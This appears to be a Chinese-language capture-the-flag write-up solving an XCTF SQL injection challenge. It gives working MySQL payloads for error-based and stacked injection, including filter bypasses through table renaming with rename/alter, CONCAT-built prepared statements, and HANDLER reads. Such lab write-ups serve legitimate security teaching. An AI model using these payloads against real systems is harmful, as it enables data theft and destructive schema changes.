题目来源:https://adworld.xctf.org.cn/challenges
1.闭合方式测试
打开题目,在已知为sql注入时,先测试闭合方式,输入1\
回显报错为
发现报错,接着尝试1' 和 1" 测试出闭合方式为单引号
2.通过order by 或 group by 二分测试列数,最后测试出为2列
3.基本的注入思路尝试注入
1' union select 1,2#
提示以上这些均被过滤掉,但没过滤extractvalue,可尝试报错注入
1' and (extractvalue(1,concat(0x7e,database())))#
得到表名为 supersqli
在尝试大小写,双写,加注释也没能绕过select,尝试堆叠注入
4.堆叠注入
利用show,desc语句找出flag所在位置
1';show databases;# 所有数据库
1';show tables;# 所有表名
1';desc `1919810931114514`;# 或 1';show columns from `1919810931114514`;#
1';desc `words`;# 或 1';show columns from `words`;#
发现flag在1919810931114514表中,id在words中
查数据(select绕过思路)
1.改名绕过(rename和alter)
mysql中rename只能重命名表和库,重命名列需要alter语句
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(66);#
或
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(66);#
接着访问1' or 1#即可得到flag
测试可知,words中的id有正常回显,可把flag所在的表和列改名为id所在的表和列
2.预编译(已知目标数据所在的具体库名表名,现在只差提取出来)
语法:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
1';set @sqli = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sqli;EXECUTE stmt;#
提示
strstr可通过更改大小写绕过所以最终payload为
1';Set @sqli = CONCAT('se','lect flag from `1919810931114514`;');Prepare stmt from @sqli;EXECUTE stmt;#
拆开为
1';
set @sqli =CONCAT('se','lect flag from `1919810931114514`;');
prepare stmt from @sqli
EXECUTE stmt;
#
3.mysql特有的handler语句。
handler相关语法:
https://blog.csdn.net/qq_43427482/article/details/109898934
payload:
1';handler `1919810931114514` open;handler `1919810931114514` read first;#
参考文章: